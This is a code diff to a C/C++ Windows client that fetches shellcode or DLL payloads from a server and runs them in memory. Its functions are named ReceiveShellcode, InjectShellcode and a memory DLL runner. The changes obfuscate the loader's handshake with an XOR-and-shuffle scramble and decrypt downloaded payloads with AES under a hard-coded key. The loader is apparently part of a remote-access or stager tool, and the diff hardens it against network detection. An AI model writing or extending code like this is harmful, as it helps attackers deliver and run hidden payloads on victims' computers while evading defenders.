diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj index c80a7f2..50dd8d2 100644 --- a/client/TestRun_vs2015.vcxproj +++ b/client/TestRun_vs2015.vcxproj @@ -164,6 +164,7 @@ + @@ -173,6 +174,7 @@ + diff --git a/client/TinyRun.vcxproj b/client/TinyRun.vcxproj index 1c1cb46..b7d1813 100644 --- a/client/TinyRun.vcxproj +++ b/client/TinyRun.vcxproj @@ -153,8 +153,12 @@ + + + + diff --git a/client/TinyRun.vcxproj.filters b/client/TinyRun.vcxproj.filters index 6261953..f8ba187 100644 --- a/client/TinyRun.vcxproj.filters +++ b/client/TinyRun.vcxproj.filters @@ -18,5 +18,13 @@ 源文件 + + 源文件 + + + + + 头文件 + \ No newline at end of file diff --git a/client/main.c b/client/main.c index 2d085eb..315a39e 100644 --- a/client/main.c +++ b/client/main.c @@ -9,6 +9,7 @@ #include #include #include "../common/hash.h" +#include "../common/aes.h" #ifdef _DEBUG #define Mprintf printf @@ -69,11 +70,36 @@ PkgHeader MakePkgHeader(int originLen) { PkgHeader header = { 0 }; memcpy(header.flag, "Hello?", 6); + header.flag[7] = 1; header.originLen = originLen; header.totalLen = sizeof(PkgHeader) + originLen; return header; } +static void gen_aes_bytes(BYTE* out) { + for (int i = 0; i < 16; i++) { + out[i] = (BYTE)(rand() & 0xFF); + } +} + +static uint16_t pseudo_random(int index) { + return (uint16_t)((1 ^ (index * 251 + 97)) * 733); +} + +static void encrypt(unsigned char* data, int len) { + for (int i = 0; i < len; ++i) { + data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1)); + } + for (int round = 0; round < 2; ++round) { + for (int i = 0; i < len; ++i) { + int j = pseudo_random(i + round * 100) % len; + unsigned char tmp = data[i]; + data[i] = data[j]; + data[j] = tmp; + } + } +} + int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize) { struct sockaddr_in sa = { 0 }; @@ -306,11 +332,13 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) connectFailCount = 0; char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ }; + gen_aes_bytes((BYTE*)command + 16); // AES IV char req[sizeof(PkgHeader) + sizeof(command)] = { 0 }; memcpy(command + 32, hash, 32); PkgHeader h = MakePkgHeader(sizeof(command)); memcpy(req, &h, sizeof(PkgHeader)); memcpy(req + sizeof(PkgHeader), command, sizeof(command)); + encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello? int bytesSent = send(clientSocket, req, sizeof(req), 0); if (bytesSent != sizeof(req)) { closesocket(clientSocket); @@ -353,6 +381,12 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut) continue; } unsigned char* ptr = buffer + sizeof(PkgHeader); + struct AES_ctx ctx; // AES Decode + static const unsigned char aes_key[16] = { + 0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1 + }; + AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16); + AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen); int size = 0; BYTE cmd = ptr[0], type = ptr[1]; memcpy(&size, ptr + 2, sizeof(int)); diff --git a/client/test.cpp b/client/test.cpp index c396bd0..68c0447 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -78,11 +78,36 @@ typedef struct PkgHeader { { memset(flag, 0, sizeof(flag)); memcpy(flag, "Hello?", 6); + flag[7] = 1; originLen = size; totalLen = sizeof(PkgHeader) + size; } } PkgHeader; +static void gen_aes_bytes(BYTE* out) { + for (int i = 0; i < 16; i++) { + out[i] = (BYTE)(rand() & 0xFF); + } +} + +static uint16_t pseudo_random(int index) { + return (uint16_t)((1 ^ (index * 251 + 97)) * 733); +} + +static void encrypt(unsigned char* data, int len) { + for (int i = 0; i < len; ++i) { + data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1)); + } + for (int round = 0; round < 2; ++round) { + for (int i = 0; i < len; ++i) { + int j = pseudo_random(i + round * 100) % len; + unsigned char tmp = data[i]; + data[i] = data[j]; + data[j] = tmp; + } + } +} + typedef int (*DllCallback)(BYTE* dll, int size); // Memory DLL runner. @@ -166,10 +191,12 @@ public: char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 }; #endif memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查 + gen_aes_bytes((BYTE*)command + 16); // AES IV memcpy(command + 32, hash.c_str(), min(32, hash.length())); char req[sizeof(PkgHeader) + sizeof(command)] = {}; memcpy(req, &PkgHeader(sizeof(command)), sizeof(PkgHeader)); memcpy(req + sizeof(PkgHeader), command, sizeof(command)); + encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello? auto bytesSent = send(clientSocket, req, sizeof(req), 0); if (bytesSent != sizeof(req)) { closesocket(clientSocket); @@ -206,6 +233,12 @@ public: continue; } char* ptr = buffer + sizeof(PkgHeader); + struct AES_ctx ctx; // AES Decode + static const unsigned char aes_key[16] = { + 0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1 + }; + AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16); + AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen); BYTE cmd = ptr[0], type = ptr[1]; size = 0; memcpy(&size, ptr + 2, sizeof(int)); @@ -315,6 +348,7 @@ int InjectShellcode(BYTE* buf, int len) { // 如果配置文件不存在就从命令行中获取IP和端口. int main(int argc, const char *argv[]) { + srand((unsigned int)time(NULL)); Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc); bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false; if (!runCmd) {